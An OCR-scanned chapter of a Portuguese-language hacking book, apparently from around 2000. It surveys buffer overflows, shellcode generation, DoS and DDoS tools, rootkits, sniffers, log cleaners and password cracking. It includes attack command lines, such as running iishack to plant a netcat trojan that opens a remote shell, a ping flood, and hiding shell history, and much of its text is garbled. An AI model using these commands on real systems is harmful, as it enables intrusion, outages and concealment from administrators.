O jizz é um dos primeiros DNS spoofers criados para a web. Apesar de estar ultrapassado (o próprio zodiac é considerado seu sucessor). E intereessan como elemento de estudo para o profissional de segurança.
Teispoofer
Autor: Vector X
Plataforma: Linux
Arquivo no CD: linux/spoof/sources/telspoof.c
Licença: GPL
Um simples spoofer baseado no protocolo telnet.
Resumo
Neste capítulo estudamos profundamente os port scanners, analisando os mc comuns utilizados pelos hackers. Vimos também os scanneis de vulneiabilldac como funcionam e como podem ser utilizados. Mostramos ainda alguns scann~ simples que podem se tornar objetos de estudo do usuário em seu dia a di Vimos também as técnicas de spoofing que consistem em usar endereços faís ou shells invadidas para atacar outras máquinas.
Os Ataques
Como é feito o Show
Depois de levantadas as informações com os scanners, o hacker deverá agora explorar as possibilidades levantadas por este tipo de ferramenta. Normalmente, o conjunto de ferramentas utilizadas podem ser encontradas na Internet em diversos sites, desenvolvidas por ele ou então conseguidas no underground da web.
Como comentamos no primeiro capítulo, existem várias formas de ataques possíveis, as mais populares são:
- Buifer Overflows (locais e remotos);
- DoS/DDoS
Cada uma destas técnicas citadas, são utilizadas pelos hackers de acordo com seu modo de operação e de ataque. Iremos analisar neste capítulo como estas ferramentas são utilizadas e quais são as mais importantes no meio dos hackers.
Buffer Overflows
Os programas que manipulam variáveis necessitam de buffers, que são área da memória onde são armazenados dados que estas mesmas variáveis recebem. Esta área normalmente é limitada e, quando em um determinado momento, há um estouro desta área por um excesso de informações, ocorre o Buffer Overfiow, ou estouro do buffer.
O Stack
A principal função da CPU é o processamento e movimentação de dados. Ei quanto processa esses dados, a mesma precisa de um lugar para rapidamen salvar informações importantes devido ao espaço limitado dos registradon ("células de memória"). Essa informação é salva no stack, uma parte muito especial da memória que pode ser acessada com algumas instruções e assembler. O stack é variável em tamanho e posição.
A primeira informação guardada no stack será a última a ser lida, e a última ser guardada será a primeira a ser lida, esse sistema é chamado de LIFO, ou last in, first out (ultimo dentro, primeiro a sair). Vamos a um exemplo. Vamos executar um programa (em certos casos, para conseguir o perfil de root... Como o stack pareceria quando o processo chamasse as suas variáveis dinâmica.
.
. .
. ... .
|----------------------- .
-2048 bytes | local arrayl [1024] | ...
|-----------------------|
-1024 bytes | local array2 [1024] | size 1024 bytes
|-----------------------|
posiçao atual do stack | base pointer | size 4 bytes
|-----------------------|
+4 bytes | return address | size 4 bytes
|-----------------------|
+4 bytes : parametros ... | ...
As variáveis são diferentes, e a informação é guardada no stack. Todo CPU usa um stack pointer, para marcar a posição atual (é chamada de SP). As partes serem analisadas serão o local array2 e o return address.
O Return Address
Quando um código é executado, a CPU salva um retum address no stack, se o processo é finalizado, a CPU pula e acha o retum address. Se o processo salva mais bytes em uma variável local do que seu tamanho normal, irá acontecer o overwrite, sobrescrevendo o return address antigo, e assim será nomeado overflow.
Se (1024+8)1032 vezes o caractere "x" for escrito no array2 local,o processo irá escrever novamente o retum address. E o stack ficará na seguinte situação:
-2048 bytes local arrayl[1024] 1024 times "X"
4 times "X"
+4 bytes 4 times "X"
-1024 bytes posiçao atual do stack
+4 bytes : parametros ...
size 1024 bytes size 4 bytes size 4 bytes
Com isto, é possível executar qualquer código arbitrário neste momento. Basta descobrir o return address e manipulá-lo!
-2048 bytes local arrayl [1024].
-1024 bytes código arbitrário
posiçao atual do stack
4 bytes de lixo
+4 bytes jmp para o çódigo
+4 bytes : parametros ...
Shellcode
O shellcode é basicamente uma série de comandos em assembler que o hack escreve no stacke modifica o retum address para voltar ao stack Assim, poc inserir sua instrução dentro de um processo vulnerável e então executá-lo, extamente no stack O principal objetivo é escrever um código em assembler; qu execute um shellcom perfil de root. É assim que a operação é feita.
HellKit
Utilitário criado com o objetivo de facilitar a vida de shellcode-writers, com ele possível obter um shellcode em C. É gerado um output file, conhecido com hellcode.c que contém o shellcode sem null bytes. O HellKit pode criar shellcode de ate' 65535 (elevado a 16 - 1) bytes. O HellKit foi criado para operar en máquinas Linux/x86.
O HeIlKit atua nas seguintes Syscalls:
- open
- dose
- execve
- chroot
- chdir
- dup
Um simples exemplo pode ser visto no arquivo sample.c que contém instruçoe<>
{
char *sh - "/tmp/sh",
*owner = "root";
chown(sh, 0, 0>; chmod
}
E com o HelIKit atuando:
./driver sample.c
compiling sample3.c
turning data to .text ...
recompiling ...
objdumping ...
analyzing...
Stealth's supa-dupa helícode-generator. Double head-kick edition.
warning: defaulting hell-function to 'mam'
found <_start> - skipping.
found
found <_do_global_dtors_aux> -Skipping.
found
found
found <_do_global_ctors_aux> -Skipping.
found
using 'O1' for encryption.
cleaning.
Current helícode can be found in heilcode . c
neuro-attack:~ /cod3 /hellkit/ src$
neuro-attack:~/cod3/hellkit/src$ cat hellcode.c
/*** Generated by Stealth's hellkit v1.1
*** Don't edit!
***/
char hell[) =
"\xea\xoc\x2e\x75\x6c\x71\x2e\x72 \x69\xOl\x73 \x6e\x6e\x75\xOl\x80" "\xed\xs6\x2a\XOl\XOl\x8c\x75\x27\xOl\x8c\xbd\x26\xOl\xOl\XOl\XOl\x54\X88\~"
~
~
"\xol\~\xec\XOc\x0l\XOl\)(52 \x88\xf2\xcc\x8l\x8c\x64\xf9\x5a\~f\XB8\xed\x5C" "\xc2\x91\x91\x91";
int main<) int (*f) () f = hell; printf("%d\n", strlen(hell>
}
neuro-attack: /cod3 /hellkit/src$
O 'driver' acompanha o HellKit; ele toma os cuidados necessários para compil~ çáo do código com syscalls PIC (Position Independent Code), ou seja1 as fu, ções que permitem ao hackeracessar o sistema.
É um excelente programa para aqueles que fazem exploits, em casos de shellcock muito complexos como o do exploit do wu-ftp ou do bind, tornando-se um ferramenta muito útil para os coders.
Ferramentas Exemplos
Como nosso intuito não é ficar ensinando como utilizar buifer overflows e sirr esclarecer o que eles fazem, damos exemplo de dois clássicos e que até hoje são explorados pelos hackers. Vamos a eles:
iishack
Autor: Eletronic Eye
Plataforma: NT
URL: http://www.eeye.com
Licença: GPL
O overflow existe na ISM.DLL no NT que manipula os arquivos .htr, utilizados para troca de senhas remotamente. Esses arquivos são instalados por defaul no lIS 4.0, sendo portanto uma das maiores vulnerabilidades existentes no NT
Existia somente uma versão em assembler para ambiente Windows, mas ft portada para Linux uma versão deste buffer overflow em C para ataques em NT
O exemplo de um ataque é o seguinte:
Oldmbox# . /iishack www.vitima.com 80 /tmp/ncx99.exe
Onde o ncx99.exe é um trojan, baseado no netcat, onde abre a porta 99 par um shell DOS dentro do NT; Em seguida o hacker digita a seguinte linha de comando:
oldmbox$ telnet www.vitima.com 99
Connecting
C:\)
O hacker tem acesso total ao drive C da máquina.
Lpr_exploit.c
Autor: Aleph One
Plataforma: Unix/linux
URL: http://www.hack.co.za
Ucença: GPL
Este buifer overflow é considerado um clássico pelos hackers, já que explora um ataque ao serviço de LPR do Unix/Linux. Através deste código é possível conseguir um shell com perfil de root em um sistema. Durante muito tempo vários hackers utilizaram este buffer overflow para invasões em máquinas espalhadas pela Internet.
Oldm@n aconselha: Buffer Overflow faz mal a sistemas!
Os buffer overflows são uma praga para qualquer administrador de sistemas. Quando um programa tem uma vulnerabilidade deste tipo, rapidamente é codificado um exploit que o explora.
Se você quiser conseguir mais exemplos desses programas, recomendo a visita a dois sites:
http:llpacketstorm.securify.com
http://www.hack.co.za
http://www.bufferoverflow.org
DoS (Denial of Service)
Como vimos no Capítulo 1, os ataques de Denial of Service (DoS) são muito usados porque podem temporariamente deixar uma máquina desligada ou travada, e dependendo de qual máquina, até a sua rede inteira.
Os ataques de DoS batem diretamente nas implementações do IP. Podem ser feitos para funcionarem em diversas plataformas. Se o DoS utilizado ainda não tiver um patch, uma correção lançada normalmente pelo fabricante, será mu usado e na grande maioria das vezes terá o efeito desejado.
Os programas que causam DoS's normalmente são escritos para uma plataforma (Linux por exemplo) atacar outra plataforma (Windows 95 por exemplo) quando o código é lançado, geralmente é melhorado por algum(ns) programadores, lançando em pouco espaço de tempo uma versão atualizada do mesmo.
Acredita-se que os principais motivos dos ataques de DoS, sejam os seguinte
1. Para obter acesso. Algumas vezes, um denial of service pode fazer parte um ataque para se obter acesso no sistema. Por exemplo: 'syn-flooding' po fazer parte de um método de IP-spoof. Isto seria utilizado para sabotar; roubar informações ou simplesmente desacreditar uma instituição.
2. Vingança. Um 'DoS' ataque pode ser parte de uma vingança contra um usuário ou administrador específico. O hacker pode ter sido prejudicado por algum indivíduo ou instituição e resolve vingar-se dos mesmos.
3. Razões político-econômicas. Cedo ou tarde algumas organizações percel:
rão e entenderão o potencial de se destruir o sistema e como fazê-lo. Isto
pode ser utilizado em atos de ciberterrorismo, guerra eletrônica, etc. Durante
o confronto de Kosovo, hackers americanos sabotaram vários sistemas eletronicos a mando do governo dos EUA.
O DoS mais simptes do mundo: O Ping da Morte
O ping da morte é considerado um dos DoS mais antigos e simples do mundo contra sistemas Windows. Descobriu-se um bug seríssimo no TCPIIP da Microsoft no recebimento de pacotes icmp echo_request com 65000 bytes de tamanho. De uma estação Linux numa rede mista era possível travar estações Windows 95/98. O comando era o seguinte: ping -l 65000 ip_da vítima -f > /dev/null
A Microsoft urgentemente lançou um patch para a correção deste problema, mas muitas pessoas não o instalam, confiando na integridade do sistema.
Hoje em dia o DoS cedeu lugar a uma técnica mais terrível e potencialmente destruidora: o DDOS. Como vimos no Capítulo 1, trata-se basicamente de um ataque distribuído, e é feito em cima da arquitetura cliente servidor. O atacante tem acesso (geralmente através da invasão) a shells (0C48) em bandwidths extremamente altas. Estes hosts são conhecidos como Masters, ou Master Controlers. Estes Masters controlam uma série de nós ou daemons, espalhados pela Internet, dos quais irão gerar o ataque.
Os daemons são máquinas espalhadas pela web com várias falhas de segurança, falta de patches de atualização, etc. que recebem um cavalo de tróia (trojan) em algum de seus arquivos do sistema. Este trojan contém o código do daemon que se anuncia a uma máquina Master na rede, enviando sua localização e em que portas está escutando.
Os masters por sua vez têm total controle destes daemons, enviando quando necessário as instruções para ataque a um alvo. Existem métodos dos quais os masters podem ser desligados ou trocados, causando assim dificuldade na localização de um atacante. Com isto o atacante tem nas suas mãos uma rede para atacar qualquer vítima na Internet.
Normalmente os atacantes utilizam a técnica de flood através do protocolo UDP onde a vítima literalmente recebe milhares de pacotes por segundo e simple mente é derrubada, pelo excesso de pacotes recebidos.
Esta técnica Possui sutis diferenças, mas basicamente a filosofia empregada pelos atacantes é a mesma em muitos casos.
Ferramentas DoS
Teardrop
Autor: Mike Schiffman
Plataforma: Unix/linux
URL: http ://www.ryanspc.com/exploits/teardrop. c
Licença: GPL
Falar do Teardrop é falar de um dos clássicos no que diz a respeito aos ataque DoS. Foi uma das primeiras ferramentas a serem utilizadas em ataques DoS.
Mesmo os primeiros sistemas Linux, eram afetados por este programa.
Basicamente enviava pacotes icmp fragmentados atingindo portas UDP como 7, 13, 19 e 37, causando o travamento da máquina ou até mesmo sua reinicialização. A máquinas Microsoft rodando NT 3.5 e NT 4.0 eram constantes vítimas destes ataques. Hoje em dia já foram publicados vários patches para o Teardrop, mas durante muito tempo foi uma das piores ferramentas criadas em termos de ataque.
nestea.c
Autor: dissidentes da rhino9?
Plataforma: Unix/linux
URL: http ://www. webstore.fr/~tahiti/nestea .txt
Licença: GPL
Outro clássico baseado na mesma filosofia do teardrop.c. Era um dos preferidos pelos hackers para ataques a plataformas Linux. Hoje em dia já existem vários patches para o mesmo. O nestea deu origem a uma versão atualizada, o chamado nestea2.c, que pode ser encontrado em http://www.foxxnet.com/belz0fwar/nestea2.c.
KPK
Autor: misteri0
Plataforma: Unix/linux
U RL: http://packetsorm .securify.com/DoS
Licença: GPL
O KPK é um shell script simples que executa uma série de DoS, já precompilados (o newtear; teardrop, jolt, etc). E interessante para aqueles iniciantes que desejam destruir e não invadir. E considerado por muitos atacantes uma espécie de quebra-galho em termos de DoS, pois consegue realizar ataques contínuos a um alvo específico.
dosnuke.exe
Autor:Calvin Lee - Calvin Labs
Plataforma: Win95/98
URL: http://i.am/devil
Licença: GPL
O dosnuke é um DoS feito para ambiente Windows. Simples de execução realiza ataques de flood em uma porta especifica (por default a porta 139 é a escolhida.). Trata-se de um programa útil para aqueles que elegeram o Windows como plataforma de ataque. Trata-se de um DoS padrão sem muitos aperfeiçoamentos.
Outras Ferramentas Populares
Nome Descriçao Plataforma
targa . c Um DoS clássico e um dos mais utilizados contra Linux
máquinas 95. Atualmente encontra-se na versão 3.
Encontrado em www.packetstorm.securify.com
jolt .c Outro DoS clássico também utilizado contra Linux
máquinas 95. Encontrado em www.packetstorm.
securify.com
n00.c Ataques de DoS baseados em ICMP. Encontrado Linux
em http://www.rat.pp.se/hotel/panik/archive/n00k.c
sunkill DoS específico contra máquinas Solaris 2.5.1. Linux
Encontrado em http://underground.simplenet.com/centrl
/exp-jan/ sunkill.c
hanson. C DoS para máquinas que estão executando MIRC,
Encontrado em http://webm43ac.ntx.net/Kurupt/hanson .c Linux
Ferramentas DoS
Inicialmente, existem ferramentas que podem servir como meio de implemei este tipo de ataque. Vamos analisar cada uma delas a seguir:
TrinOO ou Trinoo
Autor: Mixter
Plataforma: Unix/linux
U RL: http://packetstorm .securify.com/distnbuted
Licença: GPL
O projeto Trinoo (como é chamado) consiste em uma arquitetura Master Daemon. Seus daemons foram inicial mente baseados no protocolo UDP (acredita-se que já existam variantes em seu código fonte que explorem outros protocolos) e utilizam várias formas de exploiting em serviços de buiffer overrun baseados em serviços RPC como: statd, csmd e o ttdbserverd
Os daemons foram originalmente compilados e executados em sistemas Solaris 2.5.1 e Linux Red Hat 6.0, e acredita-se que muitos Masters e Daemons estejam espalhados pela Web em cima destas plataformas.
Um caso famoso de uma rede Trinoo foi um ataque de SYN Flood em cima uma máquina na Universidade de Minnessota, no dia 17 de agosto de 1999 Esta rede Trinoo era baseada em 227 sistemas, entre eles 114 da Internet 2 rede da universidade ficou fora do ar por 2 dias.
Tribe Flood Network I Tribe Flood Network 2K
Autor: Mixter
Plataforma: Unix/linux
URL: http://packetstorm .securify.com/distributed
Licença: GPL
Num projeto TFN como o Tribe Flood, uma ferramenta lança ataques coordenados de Denial of Service de vários atacantes contra um ou mais alvos. Ele possui a capacidade de gerar os seguintes ataques do tipo denial of service: TCP SYN flood atacks, ICMP echo request flood e ICMP direct broadcast (smurf).
O TF/N gera seus daemons de acordo com o tipo de ataque que vai ser perpetrado. A filosofia do ataque é similar ao Trinoo com um Master e seu(s) respectivo(s) daemon(s). Os daemons foram originalmente compilados e executados em sistemas Solaris 2.x.
Normalmente o Master se comunica com os daemons através de ICMP echo reply, com valores de 16 bits binários embutidos dentro do campo de identificação e na porção de dados do pacote. Os valores são definidos durante a compilação dos daemons e os Masters.
O Master necessita de uma lista de endereços IP para seus daemons. O TFN ainda utiliza em seus Masters nas versões mais recentes a encriptaçao do tipo blowfish para ocultar sua lista de daemons!
De acordo com os vários reports de várias organizações de segurança, como a CER, as novas versões dos Masters têm a possibilidade de atualizar a lista de seus daemons remotamente com cópias atualizadas de versões do TFN.
Stacheldraht 1.4
Autor: Barbed Wire
Plataforma: Unix/linux
URL: http://packetstorm .securify.com/distributed
Licença: GPL
O Stacheldraht é mais uma das ferramentas de ataque distribuído que integra as características do Trinoo e do TFN. Consiste em uma arquitetura cliente(s)--> handler(s) -->agente(s)--> vitima(s). Ele possui a capacidade de gerar os seguintes ataques do tipo denial of service TCP SYN flood atacks, ICMP echo request flood e ICMP direct broadcast (smurf).
Os daemons foram originalmente compilados e executados em sistemas Red Hat 6.0 e um dos seus agentes foi encontrado em um sistema Solaris 2.5.
Acredita-se que esta ferramenta tenha sido responsável pelos ataques a grandes site realizados em fevereiro de 2000. Seu autor inclusive chegou a ser preso pela policia alemã e responsabilizado por tais atos.
Dentro da maquina
Quando a máquina é invadida, começa a fase mais importante: o preparo do ambiente. O hacker neste momento se preocupa em plantar ferramentas que permitam o acesso nao autorizado mais tarde (os chamados backdoors), normalmente disfarçadas em Trojans (programas cavalo de tróia). Em seguida colocar uma ferramenta para escutar e se possível capturar senhas: os sniffers.
Por último ele deverá apagar os rastros de sua invasão. Aí entram em cena os chamados log cleanners (limpadores de log), que eliminam qualquer registro de sua presença no sistema.
A maior preocupação do hacker depois de ter invadido uma máquina (ou do
jargão ownado, do inglês owning - apoderar-se) é continuar mais tarde mantendo este acesso. Quando mais hosts ele possuir, poderá manter uma rede
para invasões futuras. Esta estrutura faz com que torne mais difícil sua detecção
e consequentemente sua prisão.
Analisaremos a seguir as principais ferramentas utilizadas neste momento da invasão.
Trojans/RootKits
Os Trojans ou Cavalos de Tróia são programas dis~rçados como programas do sistema operacional e, que executam operações não autorizadas ou de cunho destrutivo. O Trojan é uma das ferramentas preferidas do hacker. Oculto dentro de seus códigos, o trojan contém funções que podem executar funções tais como:
- captura de senhas e logons de usuários;
- modificação dos principais arquivos de log do sistema operacional, ou de utilitários como servidores de correio, web ou proxies;
- abrir backdoors para os hackers;
- roubar arquivos diversos do sistema.
Os Trojans vêm acondicionados em coleções, ou melhor, mascarados como programas inteiros do sistema operacional, nos chamados rootkits. Estes kits contém cópias de programas, como por exemplo o ifconfig, devidamente modifica-dos, com funções de abertura de backdoors, ocultamento de sniffers, envio de arquivos de senhas,' etc. Os trojans são normalmente bem disfarçados e geram dificuldade em sua localização em um sistema. E necessário vários programas de auditoria de arquivos sendo executados em um sistema para sua detecção e exclusão pelo administrador.
Existem classes de trojans que executam funções não autorizadas, comprom~ tendo a integridade do sistema. São eles:
a) Acesso remoto - Trojans que abrem backdoors em portaas TCP, UDP e ICMP em sistemas, permitindo o acesso não autorizado. Podem estar ocultos em programas como o inetd ou até mesmo o Is! Esta é a principal forma de entrada de hackers em sistemas invadidos.
b) Envio de passwords - Trojans que enviam arquivos de senhas, com seus respectivos shadows contidos no sistema operacional via e-mail ou ICQ para um e-mail do atacante. Normalmente, o hacker hospeda este e-mail em sistemas de e-mail gratuito na web de difícil autoria.
c) Keyloggers - Este tipo de trojans é um dos mais interessantes que existem. O programa grava as sequencias de teclas digitadas por um usuário em um arquivo, possibilitando capturar senhas, ou seqüências especiais de operações ou ainda documentos inteiros digitados pelo mesmo.
Windows NT Resource Kit
Autor: Microsoft
Plataforma: Windows NT 4.0
URL: http://www.microsoft.com
Licença: Comercial
O resource kit do Windows NT é considerado por alguns hackers especializa em invadir sistemas Microsoft, um verdadeiro rootkit. Contém várias ferramentas de administração remotas que permitem o shutdown remoto, execução comandos e administração do sistema.
Muitos hackers experientes com o resource kit da Microsoft, desativam servi como a auditoria do sistema, criam usuários e ainda podem limpar os logs sistema. Existem mil maneiras de explorar as ferramentas do kit e com elas derrubar um domínio NT.
Sniffers
Quando um hacker obtém status de root num sistema, além de uma ou vá backdoors, outra coisa freqüentemente observada é a técnica do sniffing. Com o sniffer é possível registrar todo tráfego TCP/IP em um arquivo em texto plano. Pode –se assim, sem esforço algum, obter as senhas de todos que ali se logaram internamente ou externamente.
Existem algumas observações fundamentais que devem ser esclarecidas a peito da possibilidade de se sniffar uma rede.
a) O sniffer irá colocar a interface de rede em modo promíscuo. No pacote TCP existe um cabeçalho que indica o destino do pacote. No modo promiscuo significa que o computador está aceitando pacotes sem se importar se é verdadeiro o destinatário.
Dica de segurança de Oldm@n: Sniffando provedores
Se você está pensando em brincar de hacker com seu provedor, esqueça: não é possível sniffar conexões do seu ISP instalando um sniffer na sua máquina. Isso só seria possível caso você tenha uma máquina que esteja no mesmo barramento da rede do seu ISP! Esqueça, ISTO É CRIME!
b,) Alguns acham que usando switch ao invés de um hub, dificulta-se o sniffing. E verdade, porém não é impossível, existe uma técnica pouco conhecida, mais complexa, que pode ser usada em redes switched: é a arp spoofing/relaying. Algumas situações / configurações de rede podem incapacitar a utilização dessas técnicas, logicamente são pouco difundidas.
Para se verificar se a ethernet de uma máquina Linux está em modo promíscuo, use o comando ifconfig, e veja se a flag PROMISC está presente. Veja o comando:
[oldmanbox 1] #ifconfig
eth0 Link encap:Ethernet Hwaddr 00:80:5F:31:D9:34
#
#
inet addr:10.0.0.1 Bcast:10.0.0.255 Mask:255.0.0.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:1195241 errors:4 dropped:0 overruns:0 frame:4
TX packets:885268 errors:6 dropped:0 overruns:0 carrier:6 collisions:42834 txqueuelen:100
Interrupt:ll Base address:0xl000
lo Link encap:Loca1 Loopback
#
#
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:3924 Metric:1
RX packets:14 errors:0 dropped:0 overruns:0 frame:0
TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
coilisions: 0 txqueuelen: 0
Podemos ver que a máquina está sendo sniffada, consequentemente um arquivo de Iog terá bastante semelhança com o seguinte:
- - - - - [Timed Out)
server.redel.net => server.rede2 .net [513]
vitimaterm/l4400ssPlsu troot
senha
cd / diretorio
- - - - - [FIN]
123456.dominio.com.br => servidor.rede.net [21]
- - - - - [Timed Out]
- - - - - [FIN]
server. redel net => server.rede2.net [513)
USER root
PASS senha
- - - - - [Timed Out]
server.rede1.net => server.rede2.net [21]
USER joaozinho
PASS 123456
PORT 204,97,162,115,5,50
LIST
QUIT
Este é um exemplo de log de um sniffer em ação. Até as conexões de FTP feitas na máquina possibilitaram a captura da senha pelo snifler.
Normalmente o hacker guarda o sniffer em diretórios de difícil detecção. No Linux, por exemplo, existem alguns que são preferidos. São eles:
/dev
/tmp
/man/man3
/...
/..
No meio de tantos diretórios, fica difícil perceber os criados pelo hacker. Até mesmo para um administrador experiente é uma tarefa muito complexa. Para isto é necessária a utilização de ferramentas de auditoria de arquivos, o que veremos mais à frente.
Snifflt
Autor: Brecht Claerhout
Plataforma: Linux
URL: http://reptile.rug .ac.br/~coder/sniffit/sniffit.html
Licença: GPL
O Sniffit é um dos sniffers mais conhecidos entre os hackers, devido à sua quantidade de recursos e por permitr até o carregamento de arquivos de configuração para o mesmo. Feito para ser executado em ambiente Linux e desenvolvido em C pode ser executado da seguinte maneira:
oldmbox$ sniffit -d -p 21 -s 10.0.0.1 -t 10.0.0.2 –L1
supported ethernet device found (eth0)
Snifit.0.3,5 is up and running... (10.0.0.2)
Neste ponto estaremos com o software sendo executado. Outra maneira de executar o sniffit é o chamado modo interativo, mas nesse caso é utilizado apenas para monitoramento de tráfego de pacotes em uma rede. O comando é o seguinte:
oldmbox$ sniffit -i
Iinsniffer
Autor: Mike Eduíla
Plataforma: Linux
URL: http://agage.trilidun .org/hack/network-sniffers/linsniffer.c
Licença: GPL
O linsnnifer é um dos mais simples, versáteis e poderosos sniffers existentes. Praticamente a maioria dos hackers utilizam como ferramenta de aquisição de dados. Fácil de ser compilado é em seguida executado com a seguinte linha de comando:
oldmbox$ ./linsniffer&
Coloca-se o mesmo em background para sua execução e aguardam-se os resultados. Imediatamente ele criará um arquivo conhecido como tcp.log, onde escreverá o resultado de sua escuta. O usuário pode escolher o nome que quiser
para tcp.log, alguns hackers colocam nomes similares aos arquivos de configuração do sistema.
O arquivo exemplo de nosso capítulo foi gerado com o Iinsniffer, com os endereços originais alterados.
tcpdump
Autor: Van Jacobson, Steve McCanne e Craig Leres
Plataforma: Linux
URL: http://www-nrg.ee.lbl.gov
Licença: GPL
O tcpdump é um pacote e por muitos considerado um comando do Linux para análise de pacotes em uma rede. Como outros é um sniffer, mas segue funções originais de analisador de redes. Nenhum hacker normalmente utiliza esta ferramenta como ferramenta de ataque, contudo é considerado por você autores um sníffer clássico.
buttsniff
Autor: Dilldog
Plataforma: Windows NT/ 98
U RL: http://www.cultdeadcow.com/~dildog/BUTTsniffer
Licença: GPL
O Cult of Dead Cow já era famoso por seu Back Oriffice; agora, um de membros desenvolveu um sniffer bastante interessante para Windows. mente instalável, o buttsniff é de fácil operação e bastante versátil. É um dos poucos sniffers para ambiente Windows.
Log Cleaners
Depois de ter invadido o sistema, colocado o seu backdoor e seu sniffer recolher dados, o hacker necessita limpar os seus rastros. Em vários sistemas operacionais, existem sistemas de auditoria, que registram as operações do usuário em arquivos do sistema. Isto também pode ocorrer com aplicativos servidores Web, que têm suas operações registradas. Tanto no Linux como no NT, existem arquivos importantes de registro, ou conhecidos como arquivos de
No sistema Linux podemos destacar os seguintes:
messages
localização: /var/log/
função: registrar todas as operações do sistema ou de programas do mesmo.
xferlog
localização: /var/ log
função: registrar todas as operações logon/logoff realizadas pelo daemon de ftp.
secure
localização: /var/log
função: registrar todas as operações realizadas por tcp-wrappers.
wtmp
localização: /var/log
função: registrar os logons de usuários. É um arquivo binário que trabalha em conjunto com a função who para a identificação do usuário.
mail.log
localização: /var/log
função: registrar os envios e recebimentos de e-mails no sistema.
bash_history
localização: /home/user
função: armazena os últimos 1000 comandos digitados pelo usuário. No caso do root este arquivo fica em)seu diretório de trabalho (/root).
Dica de segurança de Oldm@n
O bash_history é um dos arquivos mais importantes do sistema Linux1 pois normalmente é esquecido por invasores inexperientes. Em 70% de casos de invasão, este arquivo é esquecido de ser modificado pelo invasor. Até hackers experientes esquecem do mesmo. Logo, se torna um dos principais meios de identificar um hacker e descobrir suas ferramentas no sistema.
No ambiente NT; o log no sentido como conhecemos no Linux, só entra E ação quando a auditoria do sistema está ativa. Caso a mesma não esteja ligada, os arquivos de log não serão criados. Os principais arquivos de log NT são:
AppEvent. Evt
localização: \systemroot\system32\config
função: Log das principais operações e eventos de aplicativos do sistema.
SecEvent. Evt
localização: \systemroot\system32 \config
função: Log dos principais eventos de segurança.
SysEvent. Evt
localização: \systemroot\system32\config
função: Log das principais operações e eventos do sistema.
O /ogcleanner limpa este arquivos excluindo as entradas feitas pelo hacker rir sistema, ocultando assim sua presença. Para o administrador fica despercebi toda sua rotina de invasão.
Ferramentas
Os logcleanners mais utilizados são os seguintes:
hideme.c
Autor: fusys
Plataforma: Linux/Unix
URL: http://packetstorm.securify.com/archives/logcleaaners
Licença: GPL
De acordo com o seu autor, o hideme limpa os arquivos Utmp, Wtmp, LastLog,
Messages, XferLog, Secure e MailLog. A sua sintaxe de utilização é a seguinte:
hideme
Muitos hackers o utilizam para limpeza de suas invasões, fazendo parte d ferramentas básicas de um atacante.
rhclean.c
Autor: Sultrix
Plataforma: Linux(Red hat especificadamente)
URL: http://www.rootshell.com
Licença: GPL
Trata-se de um simples e específico e nem pouco sutil programa de limpeza de logs exclusivamente feito para o Linux Red Hat. Não é muito recomendado, mas pode ser uma ferramenta interessante de estudo para o administrador. Sua sintaxe é a seguinte:
/rhclean
Limpará todos os arquivos de log do sistema.
zap2.c
Autor: Desconhecido
Plataforma: Linux/Unix (Solaris)
Licença: GPL
Limpa os arquivos Utmp, Wtmp, LastLog. É muito simples, mas utilizado
principalmente em sistemas Solaris para limpeza. Sua sintaxe é a seguinte:
zap2
A maioria dos logcleanners não cuida da limpeza do bahs_history, para isto os hackérs mais experientes desviam os registros do bash_history para 9)d iretório Idevinuíl, através de um hard link. O comando é o seguinte
oldmanbox# ln -s /dev/null ~ /.bash_history
celsetupb.exe
Autor: Duke Engineering
Plataforma: Windows NT
Licença: GPL
O Clear Event Log é um utilitário que limpa o log de eventos em segurança, sistema e aplicações. E simples e de fácil operação e permite limpá-los individualmente ou todos. Necessita da DLL Msvbvm50.dll, para ser executado, neste pacote o mesmo vem incluído.
Ataques a Arquivos de Senhas
Falar de senhas sempre foi um problema desde tempos imemoriais.A proteção de segredos por senhas, códigos ou linguagem hermética, foram meios encontrados pelo homem para criar uma barreira para aqueles que não eram desejados.
Na era digital, a senha se tornou a principal proteção a sistemas com métodos cada vez mais complexos de criptografia (do grego krypto - oculto e graphia -escrita). Estas técnicas criaram padrões até então seguros, mas isto mudou e muito com os hackers.
Grupos se uniam para descobrir os métodos de criptografia e descobrir a chave que permitisse quebiar o código e desvendar a mensagem / senha protegia. Hoje em dia se trava uma verdadeira batalha entre os desenvolvedores de chaves criptográficas e os hackers
O Linux possui um arquivo no diretório /etc conhecido como passwd. Este arquivo armazena as senhas do usuário do sistema, inclusive O root. O aspecto do passwd é o seguinte:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6: 0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12mail:/var/spool/mail:
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/lluc:p:
operator:x:11:0:operator:/root:
games:x:12:100:games:/usr/games:
gopher:x:13:30:gopher:/usr/lib/gopher-data:
ftp:x:14:50:FTP User:/www/buffer:
nobody:x:99:99 :Nobody:/:
xfs:x:TOO:233:X FontServer:/etc/X11/fs:/bin/false
amarcelo:x:525:525: :/dev/null:/dev/null
buffer:x:526:527: :/home/buffer:/bin/bash
Onde o x é a senha do usuário, que no momento está oculta por motivos de segurança através do comando pwconv, que gera o que chamamos de senha shadow.
O arquivo original das senhas é protegido e assim torna-se mais difícil a interpretação e a quebra das mesmas. Normalmente, as novas versões de Linux vêm com a opção de shadow ativada e assim torna-se mais complicada a quebra do arquivo passwd.
Normalmente os ataques feitos a arquivos de senhas são feitos através de programas que utilizam os dicionários de palavras. Estes dicionários contêm palavras chaves comumente utilizadas por usuários em sua senhas. Basicamente o programa testa o passwd original do sistema com o arquivo do dicionário e compara os itens iguais.
Certos programas conseguem extrair as senhas mesmo de sistemas com shadow password. Mais à frente veremos como proteger melhor as senhas do sistema.
Ferramentas
A seguir veremos algumas ferramentas de quebra de senha.
John the Ripper
Autor: Solar Designer
Plataforma: Unux / NT
URL: www.packetstorm.securify.com/crackers
Licença: GPL
